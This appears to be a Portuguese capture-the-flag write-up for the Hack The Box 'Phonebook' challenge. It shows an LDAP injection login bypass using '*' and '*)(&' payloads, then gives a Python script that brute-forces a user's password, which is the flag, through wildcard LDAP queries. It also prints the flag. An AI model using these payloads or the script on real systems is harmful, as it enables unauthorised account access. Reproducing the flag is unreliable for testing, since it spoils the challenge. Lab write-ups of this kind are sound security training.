O desafio Phonebook permite que você explore a vulnerabilidade de Injeção LDAP e Ataque de Força Bruta no Login.
| Creator | Challenge Web | Difficulty | Points | Flag |
| vajkdry | Phonebook | 🟢 EASY | 30 | HTB{d1rectory_h4xx0r_is_k00l} |
| LDAP Injection | ||||
| OWASP | PortSwigger | CWE-90 : CWE-116 | CAPEC-136 | GitHub |
Através do navegador acesse o IP gerado pelo HTB, neste exemplo : http://104.248.173.13:32327/login
Observe a dica na página de login :

Informe um * (asterisco) nos campos de Usuário e Senha, e clique em Login.

Login realizado com sucesso! 👍

Uma alternativa de bypass no login seria processar a seguinte consulta no back-end :
Neste caso a consulta LDAP seria desta forma :
(&(username= *)(& )(password= *)(& ))
Informe os caracteres *)(& nos campos de Usuário e Senha, e clique em Login.

Login realizado com sucesso! 👍

No campo Search pesquise pela letra A para exibir todos os resultados.

Pode pesquisar pelo usuário Reese.

Para obtermos a Flag é necessário realizar um ataque de Brute Force.
import requests
import string
headers = {"UserAgent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"}
url = "http://104.248.173.13:32327/login"
chars = string.ascii_letters
chars += ''.join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '&', '-', '_', "'"])
counter = 0
flag = "HTB{"
while True:
if counter == len(chars):
print(flag + "}")
break
# Criando as Flags ex: HTB{a*}
password = flag + chars[counter] + "*}"
print("Trying: " + password)
data = {"username" : "Reese", "password" : password}
response = requests.post(url, headers=headers, data=data)
if (response.url != url + "?message=Authentication%20failed"):
flag += chars[counter]
counter = 0
else:
counter += 1

Informe os dados :

Login realizado com sucesso! 👍
